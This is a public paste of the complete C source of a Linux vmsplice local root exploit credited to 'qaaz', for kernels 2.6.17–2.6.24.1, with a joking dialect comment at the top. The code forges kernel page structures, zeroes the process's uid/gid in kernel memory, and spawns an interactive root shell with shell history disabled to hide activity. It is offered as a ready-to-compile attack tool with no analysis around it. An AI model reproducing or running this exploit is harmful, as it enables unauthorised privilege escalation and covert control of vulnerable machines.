Public paste
Undefined
By: Guest | Date: Mar 22 2010 12:06 | Format: None | Expires: never | Size: 6.4 KB | Hits: 1039

  1. /*
  2.  * jessica_biel_naked_in_my_bed.c
  3.  *
  4.  * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
  5.  * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
  6.  * Stejnak je to stare jak cyp a aj jakesyk rozbite.
  7.  *
  8.  * Linux vmsplice Local Root Exploit
  9.  * By qaaz
  10.  *
  11.  * Linux 2.6.17 - 2.6.24.1
  12.  *
  13.  * This is quite old code and I had to rewrite it to even compile.
  14.  * It should work well, but I don't remeber original intent of all
  15.  * the code, so I'm not 100% sure about it. You've been warned ;)
  16.  *
  17.  * -static -Wno-format  
  18.  */
  19. #define _GNU_SOURCE
  20. #include <stdio.h>
  21. #include <errno.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <malloc.h>
  25. #include <limits.h>
  26. #include <signal.h>
  27. #include <unistd.h>
  28. #include <sys/uio.h>
  29. #include <sys/mman.h>
  30. #include <asm/page.h>
  31. #define __KERNEL__
  32. #include <asm/unistd.h>
  33.  
  34. #define PIPE_BUFFERS    16
  35. #define PG_compound     14
  36. #define uint            unsigned int
  37. #define static_inline   static inline __attribute__((always_inline))
  38. #define STACK(x)        (x + sizeof(x) - 40)
  39.  
  40. struct page {
  41.         unsigned long flags;
  42.         int count;
  43.         int mapcount;
  44.         unsigned long private;
  45.         void *mapping;
  46.         unsigned long index;
  47.         struct { long next, prev; } lru;
  48. };
  49.  
  50. void    exit_code();
  51. char    exit_stack[1024 * 1024];
  52.  
  53. void    die(char *msg, int err)
  54. {
  55.         printf(err ? "[-] %s: %sn" : "[-] %sn", msg, strerror(err));
  56.         fflush(stdout);
  57.         fflush(stderr);
  58.         exit(1);
  59. }
  60.  
  61. #if defined (__i386__)
  62.  
  63. #ifndef __NR_vmsplice
  64. #define __NR_vmsplice   316
  65. #endif
  66.  
  67. #define USER_CS         0x73
  68. #define USER_SS         0x7b
  69. #define USER_FL         0x246
  70.  
  71. static_inline
  72. void    exit_kernel()
  73. {
  74.         __asm__ __volatile__ (
  75.         "movl %0, 0x10(%%esp) ;"
  76.         "movl %1, 0x0c(%%esp) ;"
  77.         "movl %2, 0x08(%%esp) ;"
  78.         "movl %3, 0x04(%%esp) ;"
  79.         "movl %4, 0x00(%%esp) ;"
  80.         "iret"
  81.         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  82.             "i" (USER_CS), "r" (exit_code)
  83.         );
  84. }
  85.  
  86. static_inline
  87. void *  get_current()
  88. {
  89.         unsigned long curr;
  90.         __asm__ __volatile__ (
  91.         "movl %%esp, %%eax ;"
  92.         "andl %1, %%eax ;"
  93.         "movl (%%eax), %0"
  94.         : "=r" (curr)
  95.         : "i" (~8191)
  96.         );
  97.         return (void *) curr;
  98. }
  99.  
  100. #elif defined (__x86_64__)
  101.  
  102. #ifndef __NR_vmsplice
  103. #define __NR_vmsplice   278
  104. #endif
  105.  
  106. #define USER_CS         0x23
  107. #define USER_SS         0x2b
  108. #define USER_FL         0x246
  109.  
  110. static_inline
  111. void    exit_kernel()
  112. {
  113.         __asm__ __volatile__ (
  114.         "swapgs ;"
  115.         "movq %0, 0x20(%%rsp) ;"
  116.         "movq %1, 0x18(%%rsp) ;"
  117.         "movq %2, 0x10(%%rsp) ;"
  118.         "movq %3, 0x08(%%rsp) ;"
  119.         "movq %4, 0x00(%%rsp) ;"
  120.         "iretq"
  121.         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  122.             "i" (USER_CS), "r" (exit_code)
  123.         );
  124. }
  125.  
  126. static_inline
  127. void *  get_current()
  128. {
  129.         unsigned long curr;
  130.         __asm__ __volatile__ (
  131.         "movq %%gs:(0), %0"
  132.         : "=r" (curr)
  133.         );
  134.         return (void *) curr;
  135. }
  136.  
  137. #else
  138. #error "unsupported arch"
  139. #endif
  140.  
  141. #if defined (_syscall4)
  142. #define __NR__vmsplice  __NR_vmsplice
  143. _syscall4(
  144.         long, _vmsplice,
  145.         int, fd,
  146.         struct iovec *, iov,
  147.         unsigned long, nr_segs,
  148.         unsigned int, flags)
  149.  
  150. #else
  151. #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  152. #endif
  153.  
  154. static uint uid, gid;
  155.  
  156. void    kernel_code()
  157. {
  158.         int     i;
  159.         uint    *p = get_current();
  160.  
  161.         for (i = 0; i < 1024-13; i++) {
  162.                 if (p[0] == uid && p[1] == uid &&
  163.                     p[2] == uid && p[3] == uid &&
  164.                     p[4] == gid && p[5] == gid &&
  165.                     p[6] == gid && p[7] == gid) {
  166.                         p[0] = p[1] = p[2] = p[3] = 0;
  167.                         p[4] = p[5] = p[6] = p[7] = 0;
  168.                         p = (uint *) ((char *)(p + 8) + sizeof(void *));
  169.                         p[0] = p[1] = p[2] = ~0;
  170.                         break;
  171.                 }
  172.                 p++;
  173.         }      
  174.  
  175.         exit_kernel();
  176. }
  177.  
  178. void    exit_code()
  179. {
  180.         if (getuid() != 0)
  181.                 die("wtf", 0);
  182.  
  183.         printf("[+] rootn");
  184.         putenv("HISTFILE=/dev/null");
  185.         execl("/bin/bash", "bash", "-i", NULL);
  186.         die("/bin/bash", errno);
  187. }
  188.  
  189. int     main(int argc, char *argv[])
  190. {
  191.         int             pi[2];
  192.         size_t          map_size;
  193.         char *          map_addr;
  194.         struct iovec    iov;
  195.         struct page *   pages[5];
  196.  
  197.         uid = getuid();
  198.         gid = getgid();
  199.         setresuid(uid, uid, uid);
  200.         setresgid(gid, gid, gid);
  201.  
  202.         printf("-----------------------------------n");
  203.         printf(" Linux vmsplice Local Root Exploitn");
  204.         printf(" By qaazn");
  205.         printf("-----------------------------------n");
  206.  
  207.         if (!uid || !gid)
  208.                 die("!@#$", 0);
  209.  
  210.         /*****/
  211.         pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  212.         pages[1] = pages[0] + 1;
  213.  
  214.         map_size = PAGE_SIZE;
  215.         map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  216.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  217.         if (map_addr == MAP_FAILED)
  218.                 die("mmap", errno);
  219.  
  220.         memset(map_addr, 0, map_size);
  221.         printf("[+] mmap: 0x%lx .. 0x%lxn", map_addr, map_addr + map_size);
  222.         printf("[+] page: 0x%lxn", pages[0]);
  223.         printf("[+] page: 0x%lxn", pages[1]);
  224.  
  225.         pages[0]->flags    = 1 << PG_compound;
  226.         pages[0]->private  = (unsigned long) pages[0];
  227.         pages[0]->count    = 1;
  228.         pages[1]->lru.next = (long) kernel_code;
  229.  
  230.         /*****/
  231.         pages[2] = *(void **) pages[0];
  232.         pages[3] = pages[2] + 1;
  233.  
  234.         map_size = PAGE_SIZE;
  235.         map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  236.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  237.         if (map_addr == MAP_FAILED)
  238.                 die("mmap", errno);
  239.  
  240.         memset(map_addr, 0, map_size);
  241.         printf("[+] mmap: 0x%lx .. 0x%lxn", map_addr, map_addr + map_size);
  242.         printf("[+] page: 0x%lxn", pages[2]);
  243.         printf("[+] page: 0x%lxn", pages[3]);
  244.  
  245.         pages[2]->flags    = 1 << PG_compound;
  246.         pages[2]->private  = (unsigned long) pages[2];
  247.         pages[2]->count    = 1;
  248.         pages[3]->lru.next = (long) kernel_code;
  249.  
  250.         /*****/
  251.         pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  252.         map_size = PAGE_SIZE;
  253.         map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  254.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  255.         if (map_addr == MAP_FAILED)
  256.                 die("mmap", errno);
  257.         memset(map_addr, 0, map_size);
  258.         printf("[+] mmap: 0x%lx .. 0x%lxn", map_addr, map_addr + map_size);
  259.         printf("[+] page: 0x%lxn", pages[4]);
  260.  
  261.         /*****/
  262.         map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  263.         map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  264.                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  265.         if (map_addr == MAP_FAILED)
  266.                 die("mmap", errno);
  267.  
  268.         memset(map_addr, 0, map_size);
  269.         printf("[+] mmap: 0x%lx .. 0x%lxn", map_addr, map_addr + map_size);
  270.  
  271.         /*****/
  272.         map_size -= 2 * PAGE_SIZE;
  273.         if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  274.                 die("munmap", errno);
  275.  
  276.         /*****/
  277.         if (pipe(pi) < 0) die("pipe", errno);
  278.         close(pi[0]);
  279.  
  280.         iov.iov_base = map_addr;
  281.         iov.iov_len  = ULONG_MAX;
  282.  
  283.         signal(SIGPIPE, exit_code);
  284.         _vmsplice(pi[1], &iov, 1, 0);
  285.         die("vmsplice", errno);
  286.         return 0;
  287. }